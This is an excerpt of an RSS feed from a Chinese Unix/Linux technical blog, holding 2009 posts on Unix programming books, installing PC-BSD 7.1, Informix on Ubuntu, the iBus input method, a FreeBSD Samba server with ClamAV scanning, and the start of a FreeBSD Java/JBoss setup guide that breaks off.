　　然后再看Douglus E. Comer的《用TCP/IP进行网际互连》第一卷，学习一下网络的知识，再看《UNP》的第一卷，不仅学习网络编程，而且对系统编程的一些常用的技巧就很熟悉了，如果继续网络编程，建议看《TCP/IP进行网际互连》的第三卷，里面有很多关于应用协议telnet、ftp等协议的编程。<br />
如果想写设备驱动程序，首先您的系统编程的接口比如文件、IPC等必须要熟知，再学习《LDD》2。<br />
　
<!-- Begin alimama Adserver code -->
<script type="text/javascript"><!--
google_ad_client = "pub-8438729971248494";
/* 728x90, ������ 10-2-7 */
google_ad_slot = "4752526529";
google_ad_width = 728;
google_ad_height = 90;
//-->
</script>
<script type="text/javascript"
src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
</script>
<!-- End Alimama Adserver code -->
<br />
　对于几本经典教材的评价：<br />
　　《The C Programing Language》K&#038;R 经典的C语言程序设计教材，作者是C语言的发明者，教材内容深入浅出。虽然有点老，但是必备的一本手册，现在有时候我还常翻翻。篇幅比较小，但是每看一遍，就有一遍的收获。另外也可用谭浩强的《C语言程序设计》代替。<br />
　　《Advanced Programing in Unix Envirement》 W.Richard Stevens：也是非常经典的书（废话，Stevens的书哪有不经典的！），虽然初学者就可以看，但是事实上它是《Unix Network Programing》的一本辅助资料。国内的翻译的《UNIX环境高级编程》的水平不怎么样，现在有影印版，直接读英文比读中文来得容易。<br />
　　《Unix Network Programing》W.Richard Stevens：第一卷讲BSD Socket网络编程接口和另外一种网络编程接口的，不过现在一般都用BSD Socket，所以这本书只要看大约一半多就可以了。第二卷没有设计到网络的东西，主要讲进程间通讯和Posix线程。所以看了《APUE》以后，就可以看它了，基本上系统的东西就由《APUE》和《UNP》vol2概括了。看过《UNP》以后，您就会知道系统编程的绝大部分编程技巧，即使卷一是讲网络编程的。国内是清华翻译得《Unix网络编程》，翻译者得功底也比较高，翻译地比较好。所以建议还是看中文版。<br />
　　《TCP/IP祥解》一共三卷，卷一讲协议，卷二讲实现，卷三讲编程应用。我没有怎么看过。，但是据说也很经典的，因为我没有时间看卷二，所以不便评价。<br />
　　《用TCP/IP进行网际互连》Douglus.E.Comer 一共三卷，卷一讲原理，卷二讲实现，卷三讲高级协议。感觉上这一套要比Stevens的那一套要好，就连Stevens也不得不承认它的第一卷非常经典。事实上，第一卷即使你没有一点网络的知识，看完以后也会对网络的来龙去脉了如指掌。第一卷中还有很多习题也设计得经典和实用，因为作者本身就是一位教师，并且卷一是国外研究生的教材。习题并没有答案，留给读者思考，因为问题得答案可以让你成为一个中级的Hacker，这些问题的答案可以象Douglus索取，不过只有他只给教师卷二我没有怎么看，卷三可以作为参考手册，其中地例子也很经典。如果您看过Qterm的源代码，就会知道Qterm的telnet 实现部分大多数就是从这本书的源代码过来的。对于网络原理的书，我推荐它，而不是Stevens的《TCP/IP祥解》。<br />

<!-- Begin alimama Adserver code -->
<script type="text/javascript"><!--
google_ad_client = "pub-8438729971248494";
/* 728x90, ������ 10-2-7 */
google_ad_slot = "4752526529";
google_ad_width = 728;
google_ad_height = 90;
//-->
</script>
<script type="text/javascript"
src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
</script>
<!-- End Alimama Adserver code -->
<br />
　　《Operating System &#8211; Design and Implement》这个是讲操作系统的书，用Minix做的例子。作者母语不是英文，所以英文看起来比较晦涩。国内翻译的是《操作系统设计与实现》，我没看过中文版，因为翻译者是尤晋元，他翻译的《APUE》已经让我失望头顶了。读了这本书，对操作系统的底层怎么工作的就会<br />
有一个清晰的认识。<br />
　　《Linux Device Driver》2e ，为数不多的关于Linux设备驱动程序的好书。不过内容有些杂乱，如果您没有一些写驱动的经验，初次看会有些摸不着南北。国内翻译的是《Linux设备驱动程序》第二版，第一版，第二版的译者我都有很深的接触，不过总体上来说，虽然第二版翻译的有些不尽人意，但是相比第一版来说已经超出了一大截。要读这一本书，至少应该先找一些《计算机原理》《计算机体系结构》的书来马马虎虎读读，至少应该对硬件和计算机的工作过程有一些了解。</p>
]]></content:encoded>
			<wfw:commentRss>http://www.evanjiang.net.cn/archives/1001.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>PCBSD7.1安装笔记(多图）</title>
		<link>http://www.evanjiang.net.cn/archives/995.html</link>
		<comments>http://www.evanjiang.net.cn/archives/995.html#comments</comments>
		<pubDate>Tue, 05 May 2009 14:29:51 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[freebsd unix]]></category>
		<category><![CDATA[pcbsd7.1]]></category>

		<guid isPermaLink="false">http://www.evanjiang.net.cn/?p=995</guid>
		<description><![CDATA[<p>这两天。在CU 的BSD版看到有个资深的UNIX工程师说装PCBSD无法正常LOGIN。俺就觉得奇怪，PCBSD应该不会存在这种低端错误。。。于是心血来潮，想着装个最新版的PCBSD7。1来看看，顺便看看现在PCBSD“进化”得什么程度，能否用来作一个完善的桌面操作系统！</p>
<p>下面就为俺的安装笔记，为了直观，俺截了多张图。辅带一些简单描述</p>
<p>俺是用VMWARE虚拟安装的。所以。VMWARE虚拟机安装，并且设置那块不详述。只说，建立PCBSD的虚拟机，设置加载ISO来安装，正常启动后，开始说起。。</p>
<p>正常安装启动程序</p>
<p></p>
<p></p>
<p>安装界面，默认为英文界面，俺要安装中文版，就拉动右边的下拉条，选择简体中文








</p>
<p>选择简体中文后，安装界面也迅速成换成全中文格式，这里可以选择将时区改为上海时间。其它其本不用心。</p>
<p> </p>
<p></p>
<p>这里选同意许可协议，跟着按下一步</p>
<p></p>
<p>这里选择全部安装，选择安装桌面版，选择从光驱安装。。 跟着按下一步</p>
<p></p>
<p>这里设置root密码，以及新增一个常用账户的账号与密码。可选桌面默认与新增的普通账号来login，也可以不选。</p>
<p></p>
<p>这里选择安装硬盘，以及选择整个硬盘安装，还是独自分区。</p>
<p></p>
<p>这里选择要安装的软件包。除了桌面游戏与玩具外，其它常用的编程开发，网络工具，俺全选上。选择方法就是先用MOUSE选择可用组件的组件包，然后单击下面向下的三角符，表示将组件包选择到要安装的组件项里。</p>
<p></p>
<p>系统开始正式安装。。</p>
<p></p>
<p> 提示放入第二张光盘，放入第二光盘后，继续安装。</p>
<p></p>
<p>提示放入第三张安装盘，俺只下载了第一，第二盘，如果你只是选择安装常用的工具组件包，第三光盘可以不用安装。这里直接按ok。系统会继续安装。








</p>
<p>安装完成，按重新启动。重新启动系统.</p>
<p></p>
<p>pcbsd正准备重启。。。</p>
<p></p>
<p>pcbsd 重启后，进入设置屏幕分辨率的窗口。这里，可以直接选择跳过或者应用都可以。。。</p>
<p></p>
<p>login窗口，输入账号与密码.然后直接按回车。</p>
<p></p>
<p>安装完成。PCBSD操作桌面。。。</p>
]]></description>
			<content:encoded><![CDATA[<p>这两天。在CU 的BSD版看到有个资深的UNIX工程师说装PCBSD无法正常LOGIN。俺就觉得奇怪，PCBSD应该不会存在这种低端错误。。。于是心血来潮，想着装个最新版的PCBSD7。1来看看，顺便看看现在PCBSD“进化”得什么程度，能否用来作一个完善的桌面操作系统！</p>
<p>下面就为俺的安装笔记，为了直观，俺截了多张图。辅带一些简单描述</p>
<p>俺是用VMWARE虚拟安装的。所以。VMWARE虚拟机安装，并且设置那块不详述。只说，建立PCBSD的虚拟机，设置加载ISO来安装，正常启动后，开始说起。。</p>
<p><img class="alignnone" src="http://www.evanjiang.net.cn/wp-content/uploads/image/00.jpg" alt="" width="675" height="426" />正常安装启动程序</p>
<p><span id="more-995"></span></p>
<p><img class="alignnone" src="http://www.evanjiang.net.cn/wp-content/uploads/image/01.jpg" alt="" width="675" height="412" /></p>
<p>安装界面，默认为英文界面，俺要安装中文版，就拉动右边的下拉条，选择简体中文<br />

<!-- Begin alimama Adserver code -->
<script type="text/javascript"><!--
google_ad_client = "pub-8438729971248494";
/* 728x90, ������ 10-2-7 */
google_ad_slot = "4752526529";
google_ad_width = 728;
google_ad_height = 90;
//-->
</script>
<script type="text/javascript"
src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
</script>
<!-- End Alimama Adserver code -->
<br />
<img class="alignnone" src="http://www.evanjiang.net.cn/wp-content/uploads/image/02.jpg" alt="" width="675" height="415" /></p>
<p>选择简体中文后，安装界面也迅速成换成全中文格式，这里可以选择将时区改为上海时间。其它其本不用心。</p>
<p> </p>
<p><img class="alignnone" src="http://www.evanjiang.net.cn/wp-content/uploads/image/03.jpg" alt="" width="675" height="447" /></p>
<p>这里选同意许可协议，跟着按下一步</p>
<p><img class="alignnone" src="http://www.evanjiang.net.cn/wp-content/uploads/image/04.jpg" alt="" width="675" height="412" /></p>
<p>这里选择全部安装，选择安装桌面版，选择从光驱安装。。 跟着按下一步</p>
<p><img class="alignnone" src="http://www.evanjiang.net.cn/wp-content/uploads/image/06.jpg" alt="" width="675" height="422" /></p>
<p>这里设置root密码，以及新增一个常用账户的账号与密码。可选桌面默认与新增的普通账号来login，也可以不选。</p>
<p><img class="alignnone" src="http://www.evanjiang.net.cn/wp-content/uploads/image/07.jpg" alt="" width="675" height="422" /></p>
<p>这里选择安装硬盘，以及选择整个硬盘安装，还是独自分区。</p>
<p><img class="alignnone" src="http://www.evanjiang.net.cn/wp-content/uploads/image/08.jpg" alt="" width="675" height="420" /></p>
<p>这里选择要安装的软件包。除了桌面游戏与玩具外，其它常用的编程开发，网络工具，俺全选上。选择方法就是先用MOUSE选择可用组件的组件包，然后单击下面向下的三角符，表示将组件包选择到要安装的组件项里。</p>
<p><img class="alignnone" src="http://www.evanjiang.net.cn/wp-content/uploads/image/09.jpg" alt="" width="675" height="429" /></p>
<p>系统开始正式安装。。</p>
<p><img class="alignnone" src="http://www.evanjiang.net.cn/wp-content/uploads/image/10.jpg" alt="" width="1129" height="642" /></p>
<p> 提示放入第二张光盘，放入第二光盘后，继续安装。</p>
<p><img class="alignnone" src="http://www.evanjiang.net.cn/wp-content/uploads/image/11.jpg" alt="" width="675" height="423" /></p>
<p>提示放入第三张安装盘，俺只下载了第一，第二盘，如果你只是选择安装常用的工具组件包，第三光盘可以不用安装。这里直接按ok。系统会继续安装。<br />

<!-- Begin alimama Adserver code -->
<script type="text/javascript"><!--
google_ad_client = "pub-8438729971248494";
/* 728x90, ������ 10-2-7 */
google_ad_slot = "4752526529";
google_ad_width = 728;
google_ad_height = 90;
//-->
</script>
<script type="text/javascript"
src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
</script>
<!-- End Alimama Adserver code -->
<br />
<img class="alignnone" src="http://www.evanjiang.net.cn/wp-content/uploads/image/12.jpg" alt="" width="675" height="457" /></p>
<p>安装完成，按重新启动。重新启动系统.</p>
<p><img class="alignnone" src="http://www.evanjiang.net.cn/wp-content/uploads/image/13.jpg" alt="" width="675" height="396" /></p>
<p>pcbsd正准备重启。。。</p>
<p><img class="alignnone" src="http://www.evanjiang.net.cn/wp-content/uploads/image/14.jpg" alt="" width="675" height="446" /></p>
<p>pcbsd 重启后，进入设置屏幕分辨率的窗口。这里，可以直接选择跳过或者应用都可以。。。</p>
<p><img class="alignnone" src="http://www.evanjiang.net.cn/wp-content/uploads/image/15.jpg" alt="" width="675" height="504" /></p>
<p>login窗口，输入账号与密码.然后直接按回车。</p>
<p><img class="alignnone" src="http://www.evanjiang.net.cn/wp-content/uploads/image/16.jpg" alt="" width="675" height="447" /></p>
<p>安装完成。PCBSD操作桌面。。。</p>
]]></content:encoded>
			<wfw:commentRss>http://www.evanjiang.net.cn/archives/995.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Informix 11.5 Installation on Ubuntu 8.10 server</title>
		<link>http://www.evanjiang.net.cn/archives/983.html</link>
		<comments>http://www.evanjiang.net.cn/archives/983.html#comments</comments>
		<pubDate>Sat, 02 May 2009 15:24:17 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[debian linux]]></category>
		<category><![CDATA[informix]]></category>
		<category><![CDATA[Informix 11.5 Installation on Ubuntu 8.10 server]]></category>

		<guid isPermaLink="false">http://www.evanjiang.net.cn/?p=983</guid>
		<description><![CDATA[<p>1. 用户、组创建</p>
<p>    ox0spy@ubuntu:~$ sudo groupadd informix
    ox0spy@ubuntu:~$ sudo useradd -g informix -d /opt/informix -m -s /bin/bash informix</p>
<p>2. 环境变量设置</p>
<p>    ox0spy@ubuntu:~$ tail /etc/profile
    # add for informix
    INFORMIXDIR=/opt/informix
    INFORMIXSERVER=info_dbs
    INFORMIXSQLHOSTS=$INFORMIXDIR/etc/sqlhosts
    ONCONFIG=onconfig.std
   [...]]]></description>
			<content:encoded><![CDATA[<p>1. 用户、组创建</p>
<p>    ox0spy@ubuntu:~$ sudo groupadd informix<br />
    ox0spy@ubuntu:~$ sudo useradd -g informix -d /opt/informix -m -s /bin/bash informix</p>
<p>2. 环境变量设置</p>
<p>    ox0spy@ubuntu:~$ tail /etc/profile<br />
    # add for informix<br />
    INFORMIXDIR=/opt/informix<br />
    INFORMIXSERVER=info_dbs<br />
    INFORMIXSQLHOSTS=$INFORMIXDIR/etc/sqlhosts<br />
    ONCONFIG=onconfig.std<br />
    DBDATE=Y4MD*<br />
    LD_LIBRARY_PATH=$INFORMIXDIR/lib:$INFORMIXDIR/lib/esql:$LD_LIBRARY_PATH<br />
    export INFORMIXDIR INFORMIXSERVER ONCONFIG LD_LIBRARY_PATH<br />
    PATH=$PATH:$INFORMIXDIR/bin<br />
    export PATH</p>
<p>3. 解压安装文件<br />
    以informix用户登陆系统<br />
    将C1P6NEN.tar放到/opt/informix下<br />
    解压缩:</p>
<p>    informix@ubuntu:~$ tar xvf C1P6NEN.tar</p>
<p><span id="more-983"></span><br />
4. 安装<br />
    以root的权限安装</p>
<p>    ox0spy@ubuntu:/opt/informix$ sudo ./ids_install</p>
<p>下面根据提示就可以搞定</p>
<p>5. 配置<br />
    我是以 文本模式安装的，下面开始配置<br />
    1) 在/etc/services中添加两行，如下:</p>
<p>    informix@ubuntu:~$ grep sqlexe /etc/services<br />
    sqlexe          8887/tcp                        # informix<br />
    sqlexec         8888/tcp                        # informix</p>
<p>2) 修改/etc/hosts</p>
<p>    informix@ubuntu:~$ grep &#8216;ubuntu&#8217; /etc/hosts<br />
    192.168.43.128  ubuntu</p>
<p>3) 配置$INFORMIXDIR/etc/sqlhosts</p>
<p>
<!-- Begin alimama Adserver code -->
<script type="text/javascript"><!--
google_ad_client = "pub-8438729971248494";
/* 728x90, ������ 10-2-7 */
google_ad_slot = "4752526529";
google_ad_width = 728;
google_ad_height = 90;
//-->
</script>
<script type="text/javascript"
src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
</script>
<!-- End Alimama Adserver code -->
<br />
    informix@ubuntu:~$ cat $INFORMIXDIR/etc/sqlhosts | grep -E &#8216;^[^#]&#8216;<br />
    info_dbs                onipcshm        ubuntu          sqlexe<br />
    info_dbs_tcp    onsoctcp        ubuntu          sqlexec</p>
<p>4) 建立空间</p>
<p>    informix@ubuntu:~$ mkdir dbs &#038;&#038; cd dbs &#038;&#038; touch rootdbs rootdbs_mirror &#038;&#038; chmod 660 *</p>
<p>5) 配置$INFORMIXDIR/etc/onconfig.std文件</p>
<p>    ROOTNAME rootdbs<br />
    ROOTPATH $INFORMIXDIR/dbs/rootdbs</p>
<p>    MIRRORPATH $INFORMIXDIR/dbs/rootdbs_mirror</p>
<p>    SERVERNUM 0<br />
    DBSERVERNAME info_dbs<br />
    DBSERVERALIASES info_dbs_tcp</p>
<p>    NETTYPE ipcshm,1,50,CPU<br />
    NETTYPE soctcp,1,50,NET</p>
<p>    TAPEDEV /dev/null</p>
<p>    LTAPEDEV /dev/null</p>
<p>
<!-- Begin alimama Adserver code -->
<script type="text/javascript"><!--
google_ad_client = "pub-8438729971248494";
/* 728x90, ������ 10-2-7 */
google_ad_slot = "4752526529";
google_ad_width = 728;
google_ad_height = 90;
//-->
</script>
<script type="text/javascript"
src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
</script>
<!-- End Alimama Adserver code -->
<br />
6. 初始化数据库</p>
<p>    informix@ubuntu:~$ oninit -ivy</p>
<p>深夜里看着一串串的 &#8230;successed 真爽</p>
<p>    informix@ubuntu:~$ onstat -i</p>
<p>    IBM Informix Dynamic Server Version 11.50.UC3     &#8212; On-Line &#8212; Up 00:44:43 &#8212; 144676 Kbytes<br />
    onstat></p>
<p>到此，数据库安装工作就完成</p>
]]></content:encoded>
			<wfw:commentRss>http://www.evanjiang.net.cn/archives/983.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>ubuntu9.04下安装IBUS中文输入法</title>
		<link>http://www.evanjiang.net.cn/archives/963.html</link>
		<comments>http://www.evanjiang.net.cn/archives/963.html#comments</comments>
		<pubDate>Sun, 26 Apr 2009 14:54:41 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[It Tips]]></category>
		<category><![CDATA[debian linux]]></category>
		<category><![CDATA[ubuntu9.04 ibus]]></category>

		<guid isPermaLink="false">http://www.evanjiang.net.cn/?p=963</guid>
		<description><![CDATA[<p>昨天，利用星期日休息时间，就想着将手提电脑里的ubuntu8.10升级到4.23后出来的ubuntu9.04，用家里的ADSL MODEM，经过差不多整天的升级。终于升级成功。但升级完成后，发觉IBUS不能用，俺平时用开五笔。没五笔输入，感觉上网，聊天，写博，全都不方便，那没办法，只能是重新安装ibus.俺之前在8.10安装过ibus,也在本博记下安装过程，但俺难得在本博搜索。就直接在GOOGLE里搜索。就搜到下面的参考文档，用了一下，发觉没错误，就直接复制到本博客啦。</p>
<p>1、scim输入法和字体（不是我和scim过不去，是ibus和scim过不去啊）
sudo aptitude purge ~nscim
sudo aptitude install language-support-fonts-zh</p>
<p>2、然后检查源的配置：</p>
<p>sudo gedit /etc/apt/sources.list</p>
<p>3、在软件源中添加：</p>
<p>deb http://ppa.launchpad.net/ibus-dev/ppa/ubuntu jaunty main</p>
<p>4、 在命令行安装：</p>
<p>sudo apt-get update
sudo apt-get install ibus-pinyin</p>
<p>sudo apt-get install ibus ibus-pinyin ibus-table</p>
<p>
5、如果是第一次安装iBus，那么需要设置一下系统的默认输入法：</p>
<p>sudo im-switch -c</p>
<p>6、重启电脑</p>
<p>7、在系统提示栏的iBus图标上单击右键，选择“首选项->输入法”，添加拼音输入法和其它所需的输入法。







</p>
<p>下面这篇也是参考网上，是安装IBUS五笔的。觉得也有一定的参考作用。就顺便也拿过来啦。
IBUS是不错的输入法，目前正在使用中。至少在firefox和opera中国版中还没发现问题。</p>
<p>，自己总结了一下我在ubuntu9.04下ibus五笔的安装方法：</p>
<p>1.加PPA源，先导入ibus的pgpkey（不导入key 每次安装都会有安全警示）
代码:
sudo apt-key adv &#8211;recv-keys &#8211;keyserver keyserver.ubuntu.com 72dbf294b86c9beb7170023321c022aa985e0e11</p>
<p>然后在软件源中添加
代码:
deb http://ppa.launchpad.net/ibus-dev/ppa/ubuntu jaunty main</p>
<p>关闭时更新软件源
2.安装五笔码表及gtk,qt支持
代码:
sudo apt-get install ibus-table-wubi ibus-gtk ibus-qt4</p>
<p>3. 如果是第一次安装iBus，那么需要设置一下系统的默认输入法：
sudo im-switch -c
4. 注销
5. 在系统提示栏的iBus图标上单击右键，选择“首选项->输入法”，添加五笔输入法。








快捷键：
左shift：中英文切换
右shift：拼音反查，一次只能查一个字，输入拼音后出字时直接按对应数字是输入，按Ctrl+数字反查
ctrl+,：切换单字模式
ctrl+.：切换中英文标点
ctrl+/：切换直接提交模式
ctrl+&#8217;：显示输入统计</p>
<p>另外关于光标自动跟随应该是ibus-gtk和ibut-qt4两个包在起作用。</p>
]]></description>
			<content:encoded><![CDATA[<p>昨天，利用星期日休息时间，就想着将手提电脑里的ubuntu8.10升级到4.23后出来的ubuntu9.04，用家里的ADSL MODEM，经过差不多整天的升级。终于升级成功。但升级完成后，发觉IBUS不能用，俺平时用开五笔。没五笔输入，感觉上网，聊天，写博，全都不方便，那没办法，只能是重新安装ibus.俺之前在8.10安装过ibus,也在本博记下安装过程，但俺难得在本博搜索。就直接在GOOGLE里搜索。就搜到下面的参考文档，用了一下，发觉没错误，就直接复制到本博客啦。</p>
<p>1、scim输入法和字体（不是我和scim过不去，是ibus和scim过不去啊）<br />
sudo aptitude purge ~nscim<br />
sudo aptitude install language-support-fonts-zh</p>
<p>2、然后检查源的配置：</p>
<p>sudo gedit /etc/apt/sources.list</p>
<p>3、在软件源中添加：</p>
<p>deb http://ppa.launchpad.net/ibus-dev/ppa/ubuntu jaunty main</p>
<p>4、 在命令行安装：</p>
<p>sudo apt-get update<br />
sudo apt-get install ibus-pinyin</p>
<p>sudo apt-get install ibus ibus-pinyin ibus-table</p>
<p><span id="more-963"></span><br />
5、如果是第一次安装iBus，那么需要设置一下系统的默认输入法：</p>
<p>sudo im-switch -c</p>
<p>6、重启电脑</p>
<p>7、在系统提示栏的iBus图标上单击右键，选择“首选项->输入法”，添加拼音输入法和其它所需的输入法。<br />

<!-- Begin alimama Adserver code -->
<script type="text/javascript"><!--
google_ad_client = "pub-8438729971248494";
/* 728x90, ������ 10-2-7 */
google_ad_slot = "4752526529";
google_ad_width = 728;
google_ad_height = 90;
//-->
</script>
<script type="text/javascript"
src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
</script>
<!-- End Alimama Adserver code -->
</p>
<p>下面这篇也是参考网上，是安装IBUS五笔的。觉得也有一定的参考作用。就顺便也拿过来啦。<br />
IBUS是不错的输入法，目前正在使用中。至少在firefox和opera中国版中还没发现问题。</p>
<p>，自己总结了一下我在ubuntu9.04下ibus五笔的安装方法：</p>
<p>1.加PPA源，先导入ibus的pgpkey（不导入key 每次安装都会有安全警示）<br />
代码:<br />
sudo apt-key adv &#8211;recv-keys &#8211;keyserver keyserver.ubuntu.com 72dbf294b86c9beb7170023321c022aa985e0e11</p>
<p>然后在软件源中添加<br />
代码:<br />
deb http://ppa.launchpad.net/ibus-dev/ppa/ubuntu jaunty main</p>
<p>关闭时更新软件源<br />
2.安装五笔码表及gtk,qt支持<br />
代码:<br />
sudo apt-get install ibus-table-wubi ibus-gtk ibus-qt4</p>
<p>3. 如果是第一次安装iBus，那么需要设置一下系统的默认输入法：<br />
sudo im-switch -c<br />
4. 注销<br />
5. 在系统提示栏的iBus图标上单击右键，选择“首选项->输入法”，添加五笔输入法。<br />

<!-- Begin alimama Adserver code -->
<script type="text/javascript"><!--
google_ad_client = "pub-8438729971248494";
/* 728x90, ������ 10-2-7 */
google_ad_slot = "4752526529";
google_ad_width = 728;
google_ad_height = 90;
//-->
</script>
<script type="text/javascript"
src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
</script>
<!-- End Alimama Adserver code -->
<br />
快捷键：<br />
左shift：中英文切换<br />
右shift：拼音反查，一次只能查一个字，输入拼音后出字时直接按对应数字是输入，按Ctrl+数字反查<br />
ctrl+,：切换单字模式<br />
ctrl+.：切换中英文标点<br />
ctrl+/：切换直接提交模式<br />
ctrl+&#8217;：显示输入统计</p>
<p>另外关于光标自动跟随应该是ibus-gtk和ibut-qt4两个包在起作用。</p>
]]></content:encoded>
			<wfw:commentRss>http://www.evanjiang.net.cn/archives/963.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Freebsd 安装带杀毒功能的samba文件服务器</title>
		<link>http://www.evanjiang.net.cn/archives/942.html</link>
		<comments>http://www.evanjiang.net.cn/archives/942.html#comments</comments>
		<pubDate>Tue, 21 Apr 2009 04:56:39 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[freebsd unix]]></category>
		<category><![CDATA[samba]]></category>
		<category><![CDATA[Freebsd Samba]]></category>

		<guid isPermaLink="false">http://www.evanjiang.net.cn/?p=942</guid>
		<description><![CDATA[<p>安装Freebsd过程略</p>
<p>1.安装Samba 3</p>
<p># cd /usr/ports/net/samba3
# make install clean
安装完samba,请设置/usr/local/etc/smb.conf.并在/etc/rc.conf加入一句使Samba随系统一起启动.</p>
<p>samba_enable=&#8221;YES&#8221;
2.安装clamav</p>
<p># cd /usr/ports/security/clamav
# make install clean
手动更新病毒库到默认路径</p>
<p># freshclam
在/etc/rc.conf加一句让Clamav随系统一起启动.</p>
<p>clamav_clamd_enable=&#8221;YES&#8221;
clamav_freshclam_enable=&#8221;YES&#8221;        # 定时更新病毒库
3.安装samba-vscan</p>
<p># cd /usr/ports/security/samba-vscan
# make install clean
在/usr/local/etc/smb.conf的[global]加入</p>
<p>vfs object = vscan-clamav
vscan-clamav: config-file = /usr/local/etc/samba-vscan/vscan-clamav.conf
附简单的smb.conf
 </p>
<p># Samba config file created using SWAT
# from 127.0.0.1 (127.0.0.1)
# Date: 2005/08/06 10:55:55</p>
<p># Global parameters
[global]
        [...]]]></description>
			<content:encoded><![CDATA[<p>安装Freebsd过程略</p>
<p>1.安装Samba 3</p>
<p># cd /usr/ports/net/samba3<br />
# make install clean<br />
安装完samba,请设置/usr/local/etc/smb.conf.并在/etc/rc.conf加入一句使Samba随系统一起启动.</p>
<p>samba_enable=&#8221;YES&#8221;<br />
2.安装clamav</p>
<p># cd /usr/ports/security/clamav<br />
# make install clean<br />
手动更新病毒库到默认路径</p>
<p># freshclam<br />
在/etc/rc.conf加一句让Clamav随系统一起启动.</p>
<p>clamav_clamd_enable=&#8221;YES&#8221;<br />
clamav_freshclam_enable=&#8221;YES&#8221;        # 定时更新病毒库<br />
3.安装samba-vscan</p>
<p># cd /usr/ports/security/samba-vscan<br />
# make install clean<br />
在/usr/local/etc/smb.conf的[global]加入</p>
<p>vfs object = vscan-clamav<br />
vscan-clamav: config-file = /usr/local/etc/samba-vscan/vscan-clamav.conf<br />
附简单的smb.conf<br />
 <span id="more-942"></span></p>
<p># Samba config file created using SWAT<br />
# from 127.0.0.1 (127.0.0.1)<br />
# Date: 2005/08/06 10:55:55</p>
<p># Global parameters<br />
[global]<br />
        dos charset = GB2312<br />
        unix charset = GB2312<br />
        display charset = GB2312<br />
        workgroup = SAMBA<br />
        server string = Samba PDC running %v<br />
        log level = 2<br />
        log file = /var/log/samba/log.%m<br />
        max log size = 50<br />
        socket options = TCP_NODELAY IPTOS_LOWDELAY SO_SNDBUF=8192 SO_RCVBUF=8192<br />
        local master = No<br />
        dns proxy = No<br />
        ldap ssl = no<br />
        #hosts allow = 10.0., 127.<br />
        vfs object = vscan-clamav<br />
        vscan-clamav: config-file = /usr/local/etc/samba-vscan/vscan-clamav.conf<br />

<!-- Begin alimama Adserver code -->
<script type="text/javascript"><!--
google_ad_client = "pub-8438729971248494";
/* 728x90, ������ 10-2-7 */
google_ad_slot = "4752526529";
google_ad_width = 728;
google_ad_height = 90;
//-->
</script>
<script type="text/javascript"
src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
</script>
<!-- End Alimama Adserver code -->
<br />
[homes]<br />
        comment = Home Directories<br />
        valid users = %S<br />
        write list = %S<br />
        read only = No<br />
        create mask = 0666<br />
        directory mask = 0777<br />
        browseable = No</p>
<p>[profiles]<br />
        path = /home/samba/profiles<br />
        read only = No<br />
        create mask = 0600<br />
        directory mask = 0700<br />
        browseable = No<br />
 
<!-- Begin alimama Adserver code -->
<script type="text/javascript"><!--
google_ad_client = "pub-8438729971248494";
/* 728x90, ������ 10-2-7 */
google_ad_slot = "4752526529";
google_ad_width = 728;
google_ad_height = 90;
//-->
</script>
<script type="text/javascript"
src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
</script>
<!-- End Alimama Adserver code -->
<br />
[netlogon]<br />
        comment = Network Logon Service<br />
        path = /home/netlogon<br />
        write list =<br />
        browseable = No</p>
]]></content:encoded>
			<wfw:commentRss>http://www.evanjiang.net.cn/archives/942.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>FreeBSD java开发环境配置手册</title>
		<link>http://www.evanjiang.net.cn/archives/929.html</link>
		<comments>http://www.evanjiang.net.cn/archives/929.html#comments</comments>
		<pubDate>Tue, 21 Apr 2009 04:10:07 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[freebsd unix]]></category>
		<category><![CDATA[jboss]]></category>
		<category><![CDATA[Freebsd java]]></category>

		<guid isPermaLink="false">http://www.evanjiang.net.cn/?p=929</guid>
		<description><![CDATA[<p>一,所需软件:
jdk-1.3.1 for freebsd build(软件仓库里有)
apache-2.0.3*(最新版本为httpd-2.0.39)
jboss-3.0-tomcat-4.0.3(最新)
tomcat-4.0.4
jakarta-tomcat-connector-4.0.2-src </p>
<p>postgresql-7.2.8
1.安装jdk:
到软件仓库下载,解开后里面有些pkg_add安装的包,安装即可
设置环境变量
PATH=$PATH:/usr/jdk/bin
JAVA_HOME=/usr/jdk
2.安装postgresql-7.2.8
编译时注意&#8211;enable-multibyte
安装在/usr/pgsql
createdb -E EUC_CN test </p>
<p>2.安装jboss
将jboss-3.0-tomcat-4.0.3的包解开为/usr/jboss
目录下有个catalina,这就是tomcat-4.0.3
删除,
下载tomcat-4.0.4
解开后拷贝到/usr/jboss/
重命名为catalina </p>
<p>3.编译apache-2.0.39
./configure &#8211;prefix=/usr/apache &#8211;enable-so &#8211;with-mpm=prefork
make&#038;&#038;make install
4.集成apache和jboss:
很多文档推荐使用mod_jk.
俺读了tomcat的源码和webapp的java源码,找到一种使用
warp集成的方法.
编译mod_webapp.so
解开connector.
cd webapp
./support/buildconf.sh
./configure &#8211;with-apxs=/usr/apache/bin/apxs
cd apache-2.0
make install
会把mod_webapp.so拷贝到/usr/apache/modules目录
修改/usr/jboss/server/default/deploy/tomcat4-service.xml文件.
配置warpconnector
在最后的





四行之前添加 </p>
<p>


 </p>
<p>添加以上内容后,jboss的配置就完成. </p>
<p>配置apache </p>
<p>







修改httpd.conf: </p>
<p>设定ServerName为合法的FQDN </p>
<p>在最后添加: </p>
